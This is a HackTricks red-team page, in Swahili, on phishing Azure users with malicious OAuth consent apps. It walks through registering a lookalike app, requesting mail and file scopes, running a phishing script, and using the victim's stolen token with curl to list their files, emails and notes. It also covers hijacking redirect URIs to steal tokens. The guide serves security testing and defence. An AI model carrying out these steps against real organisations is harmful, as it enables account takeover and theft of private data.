Az - OAuth Apps Phishing

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

OAuth App Phishing

Azure Applications zimewekwa na ruhusa ambazo zitakuwa na uwezo wa kutumia wakati mtumiaji anapokubali programu (kama kuhesabu saraka, kufikia faili, au kufanya vitendo vingine). Kumbuka, kwamba programu itakuwa ikifanya kwa niaba ya mtumiaji, hivyo hata kama programu inaweza kuwa inahitaji ruhusa za usimamizi, ikiwa mtumiaji anayekubali hana ruhusa hiyo, programu haitaweza kufanya vitendo vya usimamizi.

Ruhusa za kukubali programu

Kwa kawaida, mtumiaji yeyote anaweza kutoa ruhusa kwa programu, ingawa hii inaweza kuwekwa ili watumiaji waweze kukubali tu programu kutoka kwa wachapishaji waliothibitishwa kwa ruhusa zilizochaguliwa au hata kuondoa ruhusa kwa watumiaji kukubali programu.

Ikiwa watumiaji hawawezi kukubali, wasimamizi kama GA, Application Administrator au Cloud Application Administrator wanaweza kukubali programu ambazo watumiaji wataweza kutumia.

Zaidi ya hayo, ikiwa watumiaji wanaweza kukubali tu programu zinazotumia ruhusa za hatari ndogo, ruhusa hizi kwa kawaida ni openid, profile, email, User.Read na offline_access, ingawa inawezekana kuongeza zaidi kwenye orodha hii.

Na ikiwa wanaweza kukubali programu zote, wanaweza kukubali programu zote.

Aina 2 za mashambulizi

  • Hawajaidhinishwa: Kutoka kwa akaunti ya nje, tengeneza programu yenye ruhusa za hatari ndogo User.Read na User.ReadBasic.All kwa mfano, phish mtumiaji, na utaweza kufikia taarifa za saraka.
  • Hii inahitaji mtumiaji aliyephished kuwa na uwezo wa kukubali programu za OAuth kutoka kwa mpangilio wa nje
  • Ikiwa mtumiaji aliyephished ni msimamizi ambaye anaweza kukubali programu yoyote yenye ruhusa yoyote, programu hiyo inaweza pia kuomba ruhusa za kipaumbele
  • Iliyothibitishwa: Baada ya kuathiri mtu mwenye ruhusa za kutosha, tengeneza programu ndani ya akaunti na phish mtumiaji aliye na ruhusa ambaye anaweza kukubali ruhusa za kipaumbele za OAuth.
  • Katika kesi hii tayari unaweza kufikia taarifa za saraka, hivyo ruhusa User.ReadBasic.All si ya kuvutia tena.
  • Huenda unavutiwa na ruhusa zinazohitaji msimamizi kuzipatia, kwa sababu mtumiaji wa kawaida hawezi kutoa ruhusa yoyote kwa programu za OAuth, ndiyo maana unahitaji kuphish tu watumiaji hao (zaidi kuhusu ni nafasi/ruhusa zipi zinatoa kipaumbele hiki baadaye)

Watumiaji wanaruhusiwa kukubali

Kumbuka kwamba unahitaji kutekeleza amri hii kutoka kwa mtumiaji ndani ya mpangilio, huwezi kupata usanidi huu wa mpangilio kutoka kwa wa nje. CLI ifuatayo inaweza kusaidia kuelewa ruhusa za watumiaji:

bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
  • Watumiaji wanaweza kukubali programu zote: Ikiwa ndani ya permissionGrantPoliciesAssigned unaweza kupata: ManagePermissionGrantsForSelf.microsoft-user-default-legacy basi watumiaji wanaweza kukubali kila programu.
  • Watumiaji wanaweza kukubali programu kutoka kwa wachapishaji waliothibitishwa au shirika lako, lakini tu kwa ruhusa unazochagua: Ikiwa ndani ya permissionGrantPoliciesAssigned unaweza kupata: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team basi watumiaji wanaweza kukubali kila programu.
  • Zima kukubali kwa mtumiaji: Ikiwa ndani ya permissionGrantPoliciesAssigned unaweza tu kupata: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat na ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team basi watumiaji hawawezi kukubali chochote.

Inawezekana kupata maana ya kila sera iliyokomentiwa katika:

bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

Wasimamizi wa Maombi

Angalia watumiaji wanaoonekana kama wasimamizi wa maombi (wanaweza kukubali maombi mapya):

bash
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

Muonekano wa Shambulio

Shambulio lina hatua kadhaa zinazolenga kampuni ya kawaida. Hapa kuna jinsi linavyoweza kuendelea:

  1. Usajili wa Kikoa na Kuweka Programu: Mshambuliaji anasajili kikoa kinachofanana na tovuti ya kuaminika, kwa mfano, "safedomainlogin.com". Chini ya kikoa hiki, subdomain inaundwa (mfano, "companyname.safedomainlogin.com") ili kuweka programu iliyoundwa kukamata nambari za idhini na kuomba alama za ufikiaji.
  2. Usajili wa Programu katika Azure AD: Mshambuliaji kisha anasajili Programu ya Multi-Tenant katika Azure AD Tenant yao, akiiita kwa jina la kampuni lengwa ili ionekane halali. Wanatengeneza URL ya Redirect ya programu hiyo kuelekea subdomain inayohifadhi programu mbaya.
  3. Kuweka Ruhusa: Mshambuliaji anapanga programu hiyo na ruhusa mbalimbali za API (mfano, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ruhusa hizi, mara zinapopewa na mtumiaji, zinamruhusu mshambuliaji kutoa taarifa nyeti kwa niaba ya mtumiaji.
  4. Kusambaza Viungo Mbaya: Mshambuliaji anaunda kiungo kinachokuwa na kitambulisho cha mteja wa programu mbaya na kukishiriki na watumiaji walengwa, akiwadanganya kutoa idhini.

Mfano wa Shambulio

  1. Sajili programu mpya. Inaweza kuwa tu kwa saraka ya sasa ikiwa unatumia mtumiaji kutoka saraka iliyoathiriwa au kwa saraka yoyote ikiwa hii ni shambulio la nje (kama katika picha ifuatayo).
  2. Pia weka redirect URI kwa URL inayotarajiwa ambapo unataka kupokea nambari za kupata alama (http://localhost:8000/callback kwa default).
  1. Kisha tengeneza siri ya programu:
  1. Chagua ruhusa za API (mfano, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)
  1. Tekeleza ukurasa wa wavuti (azure_oauth_phishing_example) unaoomba ruhusa:
bash
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
  1. Tuma URL kwa mwathirika
  2. Katika kesi hii http://localhost:8000
  3. Waathirika wanahitaji kukubali ombi:
  1. Tumia token ya ufikiaji kupata ruhusa zilizotakiwa:
bash
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Other Tools

Post-Exploitation

Phishing Post-Exploitation

Kulingana na ruhusa zilizohitajika unaweza kuwa na uwezo wa kufikia data tofauti za mpangaji (orodha ya watumiaji, vikundi... au hata kubadilisha mipangilio) na taarifa za mtumiaji (faili, maelezo, barua pepe...). Kisha, unaweza kutumia ruhusa hizi kufanya vitendo hivyo.

Entra ID Applications Admin

Ikiwa umeweza kuathiri kwa namna fulani Entra ID principal ambayo inaweza kusimamia Maombi katika Entra ID, na kuna maombi yanayotumiwa na watumiaji wa mpangaji. Msimamizi angeweza kubadilisha ruhusa ambazo programu inazihitaji na kuongeza anwani mpya ya kuruhusiwa ya kuelekeza ili kuiba tokeni.

  • Kumbuka kwamba inawezekana kuongeza URIs za kuelekeza (hakuna haja ya kufuta ile halisi) na kisha kutuma kiungo cha HTTP kwa kutumia URI ya kuelekeza ya mshambuliaji ili wakati mtumiaji anafuata kiungo hicho uthibitishaji ufanyike kiotomatiki na mshambuliaji apokee tokeni.
  • Pia inawezekana kubadilisha ruhusa ambazo programu inazihitaji ili kupata ruhusa zaidi kutoka kwa watumiaji, lakini katika kesi hiyo mtumiaji atahitaji kukubali tena kichocheo (hata kama alikuwa tayari ameingia).
  • Kufanya shambulio hili mshambuliaji HAHITAJI kudhibiti msimbo wa programu kwani anaweza tu kutuma kiungo cha kuingia katika programu kwa mtumiaji na URL mpya katika redirect_uri parameter.

Application Post Exploitation

Angalia sehemu za Maombi na Msingi wa Huduma wa ukurasa:

Az - EntraID Privesc

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks